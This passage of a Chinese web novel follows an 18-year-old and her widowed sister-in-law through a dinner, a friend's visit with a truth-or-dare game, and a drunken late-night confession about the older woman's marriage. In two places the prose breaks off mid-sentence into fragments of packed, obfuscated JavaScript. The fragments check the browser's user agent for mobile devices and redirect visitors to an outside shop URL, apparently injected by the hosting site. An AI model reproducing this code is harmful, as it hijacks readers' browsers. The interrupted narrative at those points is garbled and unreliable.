温予乔听到这话,抬起泪眼朦胧的脸看着她,点了点头,手背擦了擦眼,努力收住眼泪。 “傻孩子……”温予乔声音破碎不堪,含着泪意,“我不用你代替谁……你好好长大,就好了。” 她伸出手,想摸摸陆知秋的脸,但手伸到一半,又停住了,随后轻轻拍了拍陆知秋手臂。 “好……好孩子。”她哽咽着说,“裙子…先换下来吧,别弄皱了。” 陆知秋点点头,看着温予乔离开。 她的背影看起来特别单薄,肩膀还在抖。 陆知秋心里更难受了,暗暗下定决心,以后一定要对嫂子更好。 现在,只剩下她一个人,和镜子里那个穿着酒红色衣裙子的人。 她没立刻去拉侧面的拉链,而是又转向了镜子。 镜中的女孩,穿着姐姐的礼服,顶着和姐姐一模一样的脸。 陆知秋看着那双和自己一模一样的眼睛,心里有些话,咕嘟咕嘟地冒上来,像烧开的水一样,堵在胸口。 这些话,是对着镜子里的人说的,也是对着那个在她八岁就离开,只留下模糊影子和一件旧礼服的姐姐说的。 “姐姐。” 陆知秋在心里想着。 姐姐,你的裙子,我穿着有点大。 你一定比我要高一点吧。 ……嫂嫂说我长得和你一模一样。真的吗? 我自己都看不出来,不敢去看你的照片,也无从知道。 我只记得你好像比我白一点,手指很长,其余的事情我不记得了。 嫂嫂说你话少,高冷。 我好像也差不多,但她说我比你热一点。 ……热一点是什么意思? 是更容易哭,还是更容易笑? 我好像……也不太会笑。 我的朋友说,我好像也只对着嫂嫂笑的比较多。 我没有和她们解释,这是因为,我不想看到嫂嫂难过的样子,不想让她本来就劳累而忧郁的容颜,因为我更添一份忧愁。 我想让她开心起来,想让她笑出来,想让她可以忘记过去的事情,好好生活下来,期盼着以后的生活。 嫂子说你人很好,就是有点冷。 她还对我说,你对我很好。 我记得的,你对我好。 给我的糖很甜,带我转圈圈,还给我读睡前的童话书。 替我测温度的手背凉凉的,很舒服。 对我这样好,那姐姐你对嫂嫂也很好吧。 所以她才这么想你,一想你就掉眼泪。 她一定很喜欢你,很想你吧。 姐姐放心,我会帮捐款照顾嫂嫂的。 我答应她了,会把你的那份好,也一起给她。 你看,我长大了,十八岁了,嫂子把我照顾的很好,我会对她也会很好很好,把你那份也补上。 可你又走得那么早。把我一个人丢下,看不到我的十八岁。 不过没关系,有嫂子在。 姐姐你的话,一定是好姐姐。 对妹妹好,对妻子也好。 ……可是。 陆知秋的目光仔仔细细看着镜子里自己的眉毛,眼睛,鼻梁,嘴唇,自己的脸蛋。 这张脸,是复刻了另一个人的。那个人活在别人的回忆和眼泪里,活在屏风里这件过时的华丽裙子里。 她慢慢地抬起手,指尖轻轻碰了碰冰凉的镜面,碰到的自己温热的倒影。 嫂嫂,你在透过我的眼睛看谁? 我姐姐吗? 姐姐啊。 但是, 姐姐。 我不想成为你。 不想活在你的背影之下。 我想在嫂嫂心里,占据我自己的一席之地。 只属于陆知秋的,鲜明的独角戏。 —— 温予乔系着围裙在厨房里忙活,油烟机嗡嗡响,做着晚饭,灶台一阵忙活,锅里炖着排骨,咕嘟咕嘟冒泡,炒菜锅里炒着肉菜,电饭煲里蒸着米饭。 其实温予乔可以让钟点工来做的,但她总觉得,对于小秋的一切事情,包括衣食起居等等,她都想亲力亲为,都是自己亲自做的。 好像这样子,就可以填补陆知秋缺少的那部分关心与爱一样。 温予乔侧头看了一眼客厅。 陆知秋坐在那里,辅导书摆在桌子上,做着老师留的作业,头发披散着,发尾略翘,像有些炸毛的小狗。 “小秋,洗手,准备吃饭了。”温予乔关了火,把炒菜盛出来。 “好,现在就去。”陆知秋听到温予乔喊她,啪嗒啪嗒走到厨房门口,探头看了一眼,紧接着嗅了嗅:“好香。” “炖了糖醋排骨,多放了玉米。”温予乔接着示意她,“拿碗筷。” “还有你最喜欢吃的胡萝卜炒西蓝花。” 陆知秋其实不喜欢胡萝卜和西蓝花,至于为何温予乔觉得陆知秋喜欢吃胡萝卜和西蓝花,因为温予乔觉得蔬菜对孩子的成长有好处,多吃蔬菜很好,一直给陆知秋做。 陆知秋不想辜负嫂子的心意,况且是嫂子做的饭,自己不感谢还要说不吃的话,也太不乖了。 温予乔喜欢听话的,乖巧,顺从她心意的小孩。 陆知秋也愿意当这种小孩,听话,乖巧,顺从嫂嫂心意。 或许温予乔和陆知秋也没有发现,温予乔其实对陆知秋是有点控制欲和掌控感的。 陆知秋也甘愿被温予乔控制,掌控,捧在手心,而无法逃脱手心。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177091|196905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >总之,温予乔做了一次胡萝卜炒西蓝花,陆知秋吃的特别开心。 温予乔看陆知秋吃的特别开心,做的更勤了。 温予乔做的更勤了,陆知秋吃的更用力了,顿顿光盘。 于是现在温予乔几乎每一顿饭都做胡萝卜炒西蓝花。 “因为小秋最喜欢吃胡萝卜炒西蓝花了,她喜欢吃,那我就去做。” “只要看到小秋吃的开心,那我的烹饪就是成功的。” 这是温予乔的想法。 “……” 嫂子是天,嫂子是地,对待嫂子永远没脾气,照顾嫂子的小脾气,嫂子永远是第一。 原话好像是老婆的主语,但换成嫂子好像也没有不妥,陆知秋这样想着。 不是说嫂嫂是老婆的意思,而是在陆知秋心里,觉得嫂嫂和老婆这两个词,并没有区别。 她想象不到自己和除了嫂嫂以外的女孩子生活在一起的情景,相反,和嫂嫂生活在一起的情景却天天都在经历,并且想着和嫂嫂生活在一起的永远的明天。 和妻子是生活在一起,和嫂嫂也是生活在一起。 所以在陆知秋心里,这二者可能是同一个意思。 逻辑好像不对。 她也没有把嫂嫂当做妻子。 ……想不通了,就不想了。 思考过后,陆知秋把碗筷拿好,顺带着把锅碗瓢盆都端到桌子上了,盛饭,分碗筷,很快布置好了。 两人在餐桌边坐下。 四菜一汤,糖醋排骨,胡萝卜炒西蓝花,豆角炒肉,香辣虾,很简单,但热气腾腾,很香。 温予乔给陆知秋盛了一大碗饭,又夹了两块最大的排骨放她碗里:“多吃点,小孩子长身体。” 夹完排骨,垂下眼睫,不知道在想啥事情。 陆知秋趁这个间隙,把两块大排骨又以迅雷不及掩耳之势放回到温予乔碗里。 “欸,小秋……” 温予乔挑起筷子,又要把排骨夹到陆知秋碗里。 陆知秋知道,一旦让嫂子夹到自己碗里,又要和以前一样,开始夹来夹去的推拉运动了,无穷尽也。 “不要了嫂子,我不喜欢吃排骨。” 骗你的,其实我最喜欢吃了。 “啊……” 温予乔知道陆知秋不喜欢吃排骨,有些惊讶。 因为她也是第一次当妈妈,第一次给陆知秋当妈妈,为了能更好地抚养陆知秋长大,把小团子养成大团子,也为了更好的为了辅导,教育孩子,看了很多亲子电视剧和育女攻略,看电视剧里的妻妻如何抚养孩子的。 妻妻都是妻妻双方抚养孩子,温予乔只有自己一人抚养孩子。 一边给予孩子温柔的关心与关爱,一方面给予孩子坚韧的保护与后盾。 反正十年来,都这样扛过来了,把陆知秋抚养成十八岁的大孩子了。 温予乔想起来,她看的育女电视剧里的孩子,有关于如何分析孩子挑食不吃菜的问题,有一些小孩子都在吵着吃肉肉,吃排骨,吃牛排,等等。 当然,温予乔不觉得别人家孩子挑食,不吃蔬菜,如何了,那是别人家的事情,孩子想吃就吃啥吧,孩子怎么开心怎么来,本来学习压力就很大了,让孩子开心吃饭就很不容易了,孩子的感受才是第一位的。 ……陆知秋挑食? 温予乔:会最好还是说一说小秋这孩子吧,挑食不好,多吃蔬菜。 本来,她以为陆知秋也这样,喜欢吃肉,也喜欢吃菜的。 然后,她忽然想到一些事情一样, 对哦,小秋最喜欢吃胡萝卜炒西蓝花。 小秋喜欢吃蔬菜吧,对荤菜不喜欢。 “嗯,原来是这样。” “那我得多给小秋做一些蔬菜,少做一些排骨吧。” 肉食系女子陆知秋:“……” 接着是吃饭的时间陆知秋埋头吃饭,扒着西蓝花,吃得很香,腮帮子鼓鼓的。 温予乔看着他吃,自己吃了陆知秋挑过来的两块糖醋排骨,别的菜却没动几口,托着脸颊,看着自己心心念念的小姑子。 十八岁的少女,正是嫩得能掐出水来的年纪。脸也很小,皮肤冷白皮,鼻子高挺,睫毛又长又密,眼睛微微上挑,但看起来却很乖,湿漉漉的。 餐厅灯暖黄,照着两人。 谁也不知道温予乔在计划什么事情。 5. 第 5 章 周日晚上七点,门铃响了。 陆知秋在楼上刷题,听见门铃响了,随即是问予乔下楼开门的脚步的声音,然后是别的女人开朗的笑声: “Surprise!” 声音有点熟。 她放下笔,走到楼梯口往下看,想要看看来人是谁。 只见客厅里站着个烫着大波浪卷发的女人,穿件西装服,下身是西装裙,手里拎着两个纸袋,一个看起来是红酒,另一个是甜品盒。 是,秦雨薇,嫂子的闺蜜,在当律师,陆知秋记得她,她有时候来家里,自己见过她几次。 “薇薇你怎么来了?”温予乔的声音带着惊喜,“也不提前说一声。” “路过,想着你肯定在家,就来看看。”秦雨薇把纸袋放在茶几上,脱掉高跟鞋,“哎哟,累死我了,今天开了一天庭。” 她光脚踩在地板上,一抬头就看见楼梯口的陆知秋。 “哟!”秦雨薇看到了陆知秋,凑上前看看,“这是小秋吧?天哪,长这么大了!” 陆知秋有点尴尬,只能下楼打招呼,笑着说:“雨薇姐。” “姐什么姐,哎呀嘴真甜。”秦雨薇笑着,乐开了花,想去摸陆知秋的脑袋,但看了看温予乔,不知为何总觉得这样不太好,还是算了,没有去摸陆知秋的脑袋。 秦雨薇一身职业西服,下边是西装裙,搭配着高跟鞋,而且,外貌也打扮得很时髦,陆知秋听说,她是做律师了,专门为女孩子打官司,去争取女性权益,虽然看起来有些大大咧咧的,但专业能力很厉害。 陆知秋理解的,上班了的大人,好像很多都比较精神紧张,因为工作压力太大了。 虽然姐姐为她和温予乔留下了很多财产,但温予乔闲不住,还是有工作在身上的,她说女孩子不可以没有工作,有些时候做一些活计,也会让自己的思维放空一些。 陆知秋认同她的想法,但陆知秋自己觉得,如果自己有了可以不用工作就可以养活自己的钱财,她可能不会去工作。 .................想工作就会有做不完的工作。 温予乔招呼陆知秋坐下:“正好,薇薇带了蛋糕,一起吃。” 秦雨薇不认生,已经把甜品盒打开了,是个六寸的提拉米苏,她又从纸袋里拿出两瓶红酒,看着陆知秋:“成年了吧?能喝吗?” 陆知秋成年是成年了,但是还是被温予乔管制的,但是陆知秋愿意被控制,温予乔也乐于去控制她, 陆知秋看向温予乔,寻求她的意见。 “成年是成年了,但是小秋在我心里还是小孩子,”温予乔说着,“暂时还不允许她喝。” 说着,温予乔笑了,“怕小孩子食髓知味了,到时候不好办了” 秦雨薇哎哟一声,咦惹一声:“哟,这么护着?” “她还是学生。”温予乔笑着说着,意思是还是学生,我得管着她,自己的孩子不管怎么可以,说着,就去厨房拿开酒器和高脚杯。 她拿回两个杯子,递过去开酒器,秦雨薇顺着接过去开酒。 红酒倒进杯子,深红色的液体在灯光下闪着光。 陆知秋那杯只倒了白开水。 “来,庆祝我们小秋马上十九岁!”秦雨薇举杯。 三人碰杯,虽然其中有一位小孩子喝的是白开水。 陆知秋抿了一口,白开水喝着甜甜的,回头看温予乔,温予乔有些被涩到了,眉头略微紧了一下。 秦雨薇喝了口酒,舒服地呼出一口气,整个人陷进沙发里,说着:“今天那个案子,气死我了。男方出轨还转移财产,骗着女方,让女方什么都不知道,差点净身出户。” “最后呢?”温予乔问。 秦雨薇嘿嘿一笑:“当然是女方赢了,不然我可不会带着蛋糕来见你,”秦雨薇顺应着又喝一口,“证据链完整,法官也看不下去。判了财产七三分,女方七。” “那挺好的。” “好什么好。”秦雨薇摇头,“十年的青春,都和她丈夫那位烂人绑在一起的,虽然我坚决不认为这是女方的污点或者不光彩,但一想到回想过去十年,和这种人有了联系,只觉得有点‘呕’,而且才换七成财产,不划算。” “要我说,女人就不该把希望寄托在任何人身上,只有自己才能靠得住,神马都是浮云。” 她说这话的时候,眼睛往温予乔那儿瞟了一眼。 温予乔接了上一句就没再接话,低头切蛋糕,蛋糕是动物奶油的,看起来嫩黄而柔软,底下是手指饼干,切下来酥酥脆脆的,搭配上上边的奶油,看起来很好吃。 蛋糕分好,三人边吃边聊,主要是秦雨薇在说,吐槽她遇到的奇葩案子,温予乔偶尔插几句,陆知秋大部分时间安静听着,偶尔看一眼旁边的温予乔。 她今天穿了件米黄色的V领小毛衣,外边是针织衫,都是软软糯糯的羊毛料子,露出能舀水,积出深潭的漂亮锁骨,像是一对小蝴蝶,翩然欲飞,还有修长,白皙的脖颈,因为喝了一些酒,显得有些泛红,粉嫩嫩的,头发扎的不紧,有几缕碎发沾在她白嫩如瓷的皮肤,更加衬的她肤白若雪。 ..................而且,因为喝了酒,脸颊红红的。 真可爱。 “所以说啊,”秦雨薇总结,“婚姻就是场赌博,赌赢了幸福一辈子,赌输了..............”她耸耸肩,“也不怎样,像我这样,离了,自己过也挺好。” “及时止损很好。”温予乔说。 “是啊,我选择及时止损。”秦雨薇看向温予乔,语气认真起来,“诶,说到这个,予乔,你真打算这么等一辈子?” 空气安静下来。 温予乔慢慢放下叉子,拿起酒杯喝了一口,缓缓才说:“你喝多了。” “我没喝多。”秦雨薇身体前倾,“十年了,予乔。一个女人有几个十年?陆知清那女人早就............反正你也该为自己打算打算了。” 温予乔不说话,只是看着杯子里晃动的红酒,红酒看起来很漂亮,看了看,采用的葡萄还是很好的品种,一看就是品质很好的样子。 ...............入口的口感,较为酸涩,带一点气泡,喝起来很好喝,回甘香甜。 秦雨薇又转向陆知秋:“小秋,你评评理,你说,你嫂子该不该找个人重新开始?” 陆知秋被问住了,她不知道该说什么,索性不说话了。 说应该?好像背叛了姐姐。 说不应该?又觉得嫂子太苦了。 最后她只说一句:“我............我不知道。” “你看,孩子都被你问住了。”温予乔开口解围,温柔似水,“我的事我自己有数,你别瞎操心。” “我就是操心你才说这些!”秦雨薇有点激动,“你看看你,二十九岁,要模样有模样,要身材有身材,经济独立,性格又好。” “追你的女人从这儿排到法国,不对,我就算到法国去也得被追你的女人挤到俄罗斯,这么多女人,你愣是一个不见。” “为什么?就为了一个已经............” “薇薇。”温予乔打断她,语气还是温和的,“别说了。” 秦雨薇看着她,叹了口气,仰头把杯子里剩下的酒喝光。 “行,我不说了。”她放下杯子,“我去个洗手间。” 秦雨薇起身往洗手间走,高跟鞋踩在地板上发出清脆的声响,等她进去卫生间,客厅里只剩下陆知秋和温予乔。 安静。 陆知秋偷偷看了嫂子一眼,她侧对着她,手里握着酒杯,眼睛看着窗外。脸在温暖的灯光下显得温柔柔和,但睫毛垂着,睫羽之下,像是落寞。 “嫂子...........”陆知秋开口,又不知道说什么。 温予乔转过头看她,笑了笑:“吓到了?薇薇就那样,直脾气,说话不过脑子。” “没有。”陆知秋摇头,“她...........也是为你好。” 温予乔没说话,只是看着陆知秋,看了几秒,然后轻声说:“等你长大了就懂了,有些事..........不是非黑即白。” 她说完,又低下睫羽,看着已经空了的,只有红色沉淀物的酒杯。 陆知秋看着她纤细的手,修长的手指,修剪整齐的圆润的指甲,涂着透明泛粉的指甲油,温予乔整个人都给人一种纤弱的感觉,皮肤白皙,手腕也很细,都可以看到能看见她淡青色的血管。 连血管也很细,就是这样一位纤细,嫩弱,像玻璃一样易碎的女人。 心跳快了一拍。 是谁的心跳声? 已经辨别不清楚了。 秦雨薇这时候从洗手间出来,吹手机吹干了手,又拿手帕擦了擦,似乎还洗了脸,醒了下酒,重新坐下的时候,之前不稳定的情绪已经调整好了,她拍拍手:“来来来,光喝酒没意思,玩游戏怎么样?” “玩什么?”温予乔问。 “真心话大冒险!”秦雨薇说,“老规矩,转瓶子来看选择谁来回答问题,瓶子的瓶口转到谁,谁来回答问题。” 陆知秋本来想拒绝,但秦雨薇已经拿了个空酒瓶放在茶几上,“小秋不许跑,成年了就得玩成年人的游戏。” “你嫂子不让你喝酒,因为还是小孩子,”秦雨薇不怀好意的说,“游戏总可以玩吧,小孩子最喜欢玩游戏了。” 陆知秋照例向温予乔投来求助的眼神,征求意见。 温予乔回应了温予乔,对她笑了一下,点点头:“玩吧,反正也没事。” 游戏开始,游戏是 第一轮,秦雨薇转瓶子,瓶口指向陆知秋。 “哟,开门红!”秦雨薇笑着,好像自己的计划得逞了一半,“选吧,真心话还是大冒险?” 陆知秋犹豫了一下,说:“真心话。” “行。”秦雨薇想了想,眼珠子转的贼快,好像非得想出来一些诡异的问题不可,“有喜欢的女生吗?” 陆知秋听到,脸不知道怎么有点热,这可一点都不像她:“没有。” “真的假的?”秦雨薇不信,“你们学校没有漂亮女生?” “有是有..............但没喜欢的。” “行吧,算你过关。”秦雨薇说,“下一轮!” 第二轮,瓶口指向秦雨薇自己。 “大冒险!”她豪爽地说。 温予乔想了想:“给你前妻发条消息,说‘我想你了’。” 秦雨薇瞪大眼睛,“温予乔你够狠!” 温予乔温柔似水地挑逗,“薇薇,玩不起?” “谁玩不起!”秦雨薇拿出手机,真的发了,发完把手机一扔,“好了,发了,她一定吓坏了,以为我疯了。” 秦雨薇这样说着,但眼底也有着像泪一样的水色。 第三轮,瓶口指向温予乔。 “终于到予乔回答问题了”秦雨薇开心的说,我等好久了,” “选吧,真心话还是大冒险?” “真心话。”温予乔很干脆,眼睛含笑。 “................大冒险我可玩不过你。” 秦雨薇坏笑,一副我非要从好闺蜜这里套出来想听的事情的样子:“上次心动是什么时候?” 温予乔愣了下,然后笑了:“昨天吧,看见商场打折,心动了半天。” “不算不算!”秦雨薇的计划没有得逞,拍桌子,“要对人!对人!” “你问的是心动,又没说对什么心动。”温予乔狡黠地笑,“我回答了,过关。” “耍赖!”秦雨薇撇嘴,“那罚酒,必须罚!” 温予乔也不争,眼睛弯弯,笑了几下,顺从端起酒杯喝了一大口, 喝的时候,她的眼睛往陆知秋那儿看了一眼,蜻蜓点水一样,触及到她,很快又移开。 那一眼,谁也没有看见。 包括陆知秋。 温予乔喝完了酒,脸看起来更红了,然后拿起纸巾,优雅地擦去自己唇边的酒渍。 秦雨薇还是不甘心,眼珠一转,又问到:“........说真的,予乔。” “你真的没有碰到心动的人吗?” “当然啦,”温予乔笑着,“我还能骗你不成。” “而且什么心动不心动的,都这把年纪了...........” “已经快是老女人了.............” “你才二十九岁啊,”秦雨薇急切道,“心跳还在跳,荷尔蒙还在分泌,还有的是享受人生的时间,” “不要这样说自己啊。” 秦雨薇说着,真怕温予乔想些别的事情想不开,急得使出一身本领安慰她。 温予乔看见好友这样关切的自己的样子,笑了出声,甜甜的,软乎乎的, “嗯,我一直想得很开哦。” “不用担心我了,谢谢你薇薇。” 秦雨薇看到好友笑了出来,这才放下心来,眼睛垂下去, “...........谁在担心你啊。” “我只是怕你再..........” “陆知清那混..........” 她说话的声音不是很大,但声量也可以也能让在场的两个人听到,说出陆知清这三个字之后,秦雨薇 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温予乔:“……薇薇,你忘了她才十八岁。” 秦雨薇:“你二十岁不就已经和陆知清结婚了?我的意思其实是,” “予乔你天天对着身边这种的孩子,就没一点想法?” “秦雨薇!”温予乔一听到秦雨薇提到陆知秋的名字,打断道,甚至连薇薇也不说了,直接叫的本名,可以听出来她真的有些生气了,“……别提小秋,别的都可以。” 客厅安静下来了。 秦雨薇也意识到自己说过了,赶紧认错:“予乔,你别生气,我错了,我不说了。” 温予乔也意识到自己的情绪有些激动了,平静下来,平声说:“薇薇,我没生气。” “就是……这种玩笑别乱开。” “小秋,她是知清的亲妹妹。” “知道了知道了。”秦雨薇认错,不再说了。 温予乔也不再说话,只是低头看着自己的酒杯,睫毛垂着,看不懂她眼底的情绪,问到什么问题,她只是偶尔笑笑,或者喝口酒,脸上的红晕越来越粉红,眼睛也越来越湿润,看人的时候水汪汪的,像是蒙了一层玫瑰糖浆,包裹上鲜甜的糖壳, 让人想……亲吻她的眼眸。 ……陆知秋从来看不到她的情愫。 小时候,她仰视着她,看不清她的表情和情愫。 长大了,她俯视着她,由上向下看,温予乔的睫毛很长,像小毛团一样,遮住她的眼睛,以至于陆知秋从小到大一直不知道她在想什么。 ……能否把你的内心剥给我看。 这样就不会再伤心了吧。 ……这样想的我,是不是有些自负呢? “每天除了工作就是照顾小秋……” 她这十年,是不是真的过得很孤单? 陆知秋看着纤细柔弱的她,想起书上看过的一个词: 我见犹怜。 就是那种感觉。 明明她什么都没说,但就是让人觉得……心疼。 中途温予乔起身去厨房添水,秦雨趁机凑近陆知秋,压低声音,悄声问:“喂,小秋。” “嗯?” “你嫂子……”秦雨薇犹豫了一下,“平时……有没有什么人来找她?女的?” “不是薇薇姐涉足别人的隐私权……” “有些事情……小秋你知道的话,就知道我为什么这么担心你嫂子了。” “你嫂子……她真的很不容易。” “我如果是她,我都撑不住的,所以你嫂子把你养大,真的很伟大,压抑着自己,做到了别人都做不到的事情。” 陆知秋看着她,想都不用想,摇头:“……没有。” “……没有别的女人。” “……电话呢?微信呢?看她经常聊吗?” “我不知道。”陆知秋说,“我不看她手机。” 秦雨薇叹了口气,靠回沙发里:“十年了……她还真是……” 说着,她又看了看陆知秋的脸,秦雨薇眼底的厌恶一闪而过,“你和你姐姐,长得真像。” 陆知清。 温予乔端着水杯回来,看见两人凑在一起说话,笑着说:“说我坏话呢?” “哪敢。”秦雨薇笑,“夸你呢,说你贤惠能干,绝世好嫂子。” 温予乔白了她一眼,重新坐下,她的动作比刚才慢了些,有点懒洋洋的,说话的声音也有些发烫,含着水,好像酒劲上来了。 “有点晕。”她揉揉太阳穴,“还玩下一局吗?不玩我真要醉了。” 秦雨薇笑着说,“再玩两局就散伙。” 第三轮,瓶口又指向陆知秋。 “真心话。”陆知秋也干脆说,和温予乔学的。 秦雨薇想,真不愧是温予乔一手带大的,连决策和想事情的逻辑,说话的微表情都这样像。 不是只有接吻多了的情侣才会长得越来越像吗? 她们也不是情侣,也肯定没有接吻过,怎么会这么像呢? 这就是姑嫂之间的羁绊吗? 秦雨薇想不通,嗯,肯定是这样的,随即也不去想,开始问陆知秋问题。 陆知秋薇摸着下巴想了想:“初吻还在吗?” 陆知秋不知道为什么,下意识看向温予乔,她也不知道为什么,可能只是觉得,上次,两个人挤在屏风后,鼻尖对着鼻尖,很像是要接吻的样子,但这算不算接吻呢?陆知秋没有接吻过,她也不知道。 然后,发现温予乔也看着她,含着醉意的湿漉漉的眼神瞥着她……陆知秋说不清是什么,和自己的眼神很像。 “怎么,你亲嘴还要和嫂子打报告?”秦雨薇看到姑嫂俩的眼神交流,调侃道,“又不是和你嫂子接吻。” “话说回来,要是你和你嫂子真的接吻了,我就要被你们姑嫂吓晕了。” “快说快说。” “在。”陆知秋低声说。 “哟,纯情小女孩。”秦雨薇赞同到,“不错不错,保持住。” 温予乔这时候低着头,眼底情绪很乱,好像醉意有些上来了,软若无骨地贴在陆知秋的身上, 温予乔的内心无人可知。 我自己,是不能想再谈恋爱, 还是不能想谈恋爱? ……为什么不能呢? 温予乔眼底含水,似要娇艳欲滴一样,看向抱着自己的少女的饱满的,像是被水浸润的花瓣一样的嘴唇。 ……想亲。 ……一想到不能亲吻她的唇,我就像被火焰炙烤一样烦躁难耐。 6. 第 6 章 快到十一点的时候,秦雨薇真的撑不住了,她靠在沙发扶手上,眼睛半睁半闭,看起来要昏过去了,脸很红,嘴里嘟囔着:“不行了不行了……我得睡了……明天还要去见当事人……” 说着说着,头一歪,睡着了。 三个人玩玩游戏,开始看着电视剧,但其实都没有看进去,这时候电视剧已经播放完毕了,剩下中间穿插的广告片段,温予乔也醉了,软若无骨的贴着陆知秋,她还不肯睡,看到身旁看了眼睡着的秦雨薇,坏心眼笑了笑, “到最后……还是……我赢了……” 陆知秋:“这有什么可赢可不赢啊……” 陆知秋无奈说着,看温予乔的脸色,并不不太好,脸颊绯红,眼神也有点飘。 陆知秋:“嫂子你没事吧?” “没事。” “我酒量很好……” “没有醉……” 其实陆知秋并没有说她醉了的意思,温予乔自己先人一步预判回答了,她想站起来,结果身体晃了一下,差点没站稳。 陆知秋赶紧扶住她胳膊:“小心啊。” 温予乔靠在她手臂上,缓了几秒才站稳,她身上酒气混合着香水味,热热的,扑在陆知秋脸上,弄得脸痒痒的。 “看来我也喝多了。” “……我也醉了耶。” “小秋,你怎么有两个脑袋啊。” 温予乔说着,要伸手去揪陆知秋的脑袋。 陆知秋躲过去了,不要。 “我扶你回去吧。” 温予乔听着自嘲地笑笑,声音软软的,含着潮气,酒精作用下有些发烫发嫩,哑哑的,“没事,我自己能走。” 但她说着能走,脚步还是虚浮的,陆知秋实在不放心,直接扶住她,“还是我扶你上去吧,不能拒绝我。” 温予乔看了她一眼,没拒绝:“好……麻烦你了。” 陆知秋先扶着她绕过茶几,然后让她搭着自己的肩膀,慢慢往楼梯走,温予乔穿的是拖鞋,上楼梯时差点绊倒,陆知秋赶紧搂住她的腰。 手掌贴在她腰侧,隔着薄薄的羊毛布料,能感觉到她身体的很烫的温度和柔软,和熨了的云朵一样。 陆知秋耳朵又开始发烫。 “不好意思……”温予乔轻声说,声音就在她耳边,含着酒气的温热,“给小秋添麻烦了。” “没有。”陆知秋摇头,“应该的。” 两人一步一步慢慢上楼,温予乔几乎整个人的重量都靠在她身上,手臂环着她脖子,头发蹭着她脸颊,痒痒的,让陆知秋想起来爬猫爬架的小猫。 也是这样软糯,柔软,依赖。 好不容易走到主卧门口,陆知秋松了口气:“到了。” 温予乔“嗯”了一声,但不松手,她靠在门板上,仰头看着她,眼睛水汪汪的,眼神有点迷离, “小秋……”她叫她的名字。 “嗯?” “你……”她想说一些什么,但最后只是摇摇头,笑了,“没什么。谢谢你。” 她说着,从口袋里摸出钥匙,手有点抖,插了几次才插进锁孔,门开了,里面一片漆黑。 温予乔有着这样的习惯,自己的房间锁住,这也是独居下她保护自己的手段,虽然住在别墅区,但除却钟点工来打扫,大部分都只住着她和陆知秋两个人,陆知秋去上学,只剩下她一个人,还是小心一些为好。 温予乔似乎已经习惯自己一个人了。 但真的习惯了吗? 谁也无从得知,到底是习惯一个人,还是就算是害怕自己一个人,也难以要求别人的陪伴,只好去适应自己一个人了呢? 谁也无法帮助她。 谁也无法给予她真正的爱。 她像是被上锁的音乐盒,生了锈,落了灰,纵然有精致的外表,也只是空有其表,内里早就锈得无法再开始转动悦耳的音乐,嘎吱嘎吱地发出噪人的求救,却也只是被牢牢锁住,无法被第二个人拥有,被人遗忘的摆在最边缘的角落。 陆知秋这样想着,扶着她进去,摸到墙上的开关,“啪”一声打开了灯。 主卧很大,跟她小时候进来的时候差不多,一张大床,床头柜上放着台灯和几本书,还有个倒扣的相框。 陆知秋知道,嫂子和姐姐的结婚照。 为什么要倒扣住呢? 陆知秋想。 靠墙那里有个梳妆台,上面摆着瓶瓶罐罐,衣柜是嵌入式的,占了整整一面墙。 “坐这儿。”陆知秋扶她在床边坐下。 温予乔坐下后,靠着陆知秋她闭上眼睛,眉头还皱着。 “我去给你倒杯水。”陆知秋说着要往外走。 “别走。”温予乔抓住她的手腕。 “小秋,陪陪我……好不好……?” 她的手很热,掌心湿湿的。 “嫂子?” “陪我坐会儿。”温予乔闭着眼睛说,声音软软的,“就一会儿。” 陆知秋愣住了。 她看着她的眼睛,那里面水光潋滟,映着卧室暖黄的灯光,像是有千言万语,又好像什么都没有。 “好。”她听见自己说。 她在她旁边坐下,中间隔着一小段距离,温予乔松开她的手腕,但手没有收回去,而是搭在她腿上。 和她的本人一样温暖而柔软。 房间里很安静,能听见楼下电视微弱的广告声,还有窗外偶尔经过的车声。 “你知道吗……”温予乔缓缓开头,“我跟你姐姐……是相亲认识的。” 陆知秋转头看她,她侧脸对着她,温予乔闭着眼睛,黑如鸦羽的睫毛又长又密,还有着醉酒之后的潮意, “那时候我二十,刚大二。” “你姐二十二,自己开公司,事业有成。介绍人说,陆知清人好,条件好,就是太忙,没时间谈恋爱。” 她笑了笑,很苦的笑容:“见了三次面,她就求婚了。我那会实在是缺钱,她的人又被爸妈都说好,说这么好的条件,错过就没了。我自己也觉得……她挺不错的,长得漂亮,有礼貌,看起来也很靠得住。” “然后你就答应了?”陆知秋问。 “嗯。”温予乔点头,“答应了。认识三个月,就结婚了。” 她停了一会儿,像是在回忆:“婚礼那天……其实挺好的,我穿白婚纱,她也穿白婚纱,所有人都说我们般配,我还记得她给我戴戒指的时候,手有点抖,我那会以为她是紧张的。” 她说着,低头看自己的左手,无名指上的婚戒已经十年了,钻石的光芒都有些暗淡了,不如之前的璀璨, “可是后来……”温予乔有些颤抖的说“后来我才发现,她娶我,可能不是因为喜欢我。” 陆知秋有些疑惑,她的记忆里嫂子和姐姐感情很好:“为什么这么说?” 温予乔没马上回答,她慢慢抬起手,开始解自己针织衫的扣子。 一颗,两颗。 很快解开了,然后被温予乔随手扔在地上,她的里面是件浅米色的真丝吊带背心,细细的肩带,领口不算低,但能看见她漂亮锁骨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177093|196905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和她的白皙的皮肤。 陆知秋愣住了,不知道该看哪里,干脆看自己的腿。 